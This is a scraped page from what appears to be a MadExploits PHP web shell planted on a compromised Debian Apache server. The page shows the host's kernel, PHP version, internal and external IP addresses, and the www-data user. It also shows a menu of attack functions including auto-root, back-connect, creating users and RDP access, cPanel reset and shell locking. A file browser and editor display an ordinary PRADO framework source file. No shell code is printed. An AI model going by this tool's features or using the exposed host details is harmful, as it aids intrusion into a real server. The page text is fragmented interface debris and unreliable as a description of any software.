Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.133.124.80
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
I18N /
[ HOME SHELL ]
Name
Size
Permission
Action
core
[ DIR ]
drwxr-xr-x
schema
[ DIR ]
drwxr-xr-x
TChoiceFormat.php
3.49
KB
-rw-r--r--
TDateFormat.php
7.16
KB
-rw-r--r--
TGlobalization.php
9.13
KB
-rw-r--r--
TGlobalizationAutoDetect.php
4.16
KB
-rw-r--r--
TI18NControl.php
2.22
KB
-rw-r--r--
TNumberFormat.php
6.4
KB
-rw-r--r--
TTranslate.php
6.49
KB
-rw-r--r--
TTranslateParameter.php
2.68
KB
-rw-r--r--
Translation.php
2.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TChoiceFormat.php
<?php /** * TChoiceFormat, I18N choice format component. * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\I18N; /** * Get the ChoiceFormat class. */ use Prado\I18N\core\ChoiceFormat; use Prado\Prado; /** * TChoiceFormat class. * * This component performs message/string choice translation. The translation * source is set in the TGlobalization module. The following example * demonstrates a simple 2 choice message translation. * <code> * <com:TChoiceFormat Value="1">[1] One Apple. |[2] Two Apples</com:TChoiceFormat> * </code> * * The Choice has <b>Value</b> "1" (one), thus the translated string * is "One Apple". If the <b>Value</b> is "2", then it will show * "Two Apples". * * The message/string choices are separated by the pipe "|" followed * by a set notation of the form * # <tt>[1,2]</tt> -- accepts values between 1 and 2, inclusive. * # <tt>(1,2)</tt> -- accepts values between 1 and 2, excluding 1 and 2. * # <tt>{1,2,3,4}</tt> -- only values defined in the set are accepted. * # <tt>[-Inf,0)</tt> -- accepts value greater or equal to negative infinity * and strictly less than 0 * Any non-empty combinations of the delimiters of square and round brackets * are acceptable. * * The string choosen for display depends on the <b>Value</b> property. * The <b>Value</b> is evaluated for each set until the Value is found * to belong to a particular set. * * Properties * - <b>Value</b>, float, * <br>Gets or sets the Value that determines which string choice to display. * Since version 3.1.2 the following set notation is also possible. * * # <tt>{n: n % 10 > 1 && n % 10 < 5}</tt> -- matches numbers like 2, 3, 4, 22, 23, 24 * * Where set is defined by the expression after <tt>n:</tt>. In particular, the expression * accepts the following mathematical/logical operators to form a set of logical conditions * on the value given by <tt>n</tt>: * # <tt><</tt> -- less than. * # <tt><=</tt> -- less than equals. * # <tt>></tt> -- greater than. * # <tt>>=</tt> -- greater than equals. * # <tt>==</tt> -- of equal value. * # <tt>%</tt> -- modulo, e.g., 1 % 10 equals 1, 11 % 10 equals 1. * # <tt>-</tt> -- minus, negative. * # <tt>+</tt> -- addition. * # <tt>&</tt> -- conditional AND. * # <tt>&&</tt> -- condition AND with short circuit. * # <tt>|</tt> -- conditional OR. * # <tt>||</tt> -- conditional OR with short circuit. * # <tt>!</tt> -- negation. * * Additional round brackets can also be used to perform grouping. * * @author Xiang Wei Zhuo <weizhuo[at]gmail[dot]com> */ class TChoiceFormat extends TTranslate { /** * @return float the numerical value. */ public function getValue() { return $this->getViewState('Value', ''); } /** * Sets the numerical choice value * @param float $value the choice value */ public function setValue($value) { $this->setViewState('Value', $value, ''); } /** * Display the choosen translated string. * Overrides the parent method, also calls parent's renderBody to * translate. * @param mixed $text * @param mixed $subs */ protected function translateText($text, $subs) { $text = parent::translateText($text, $subs); $choice = new ChoiceFormat(); $value = $this->getValue(); $string = $choice->format($text, $value); if ($string) { return strtr($string, ['{Value}' => $value]); } return ''; } }
Close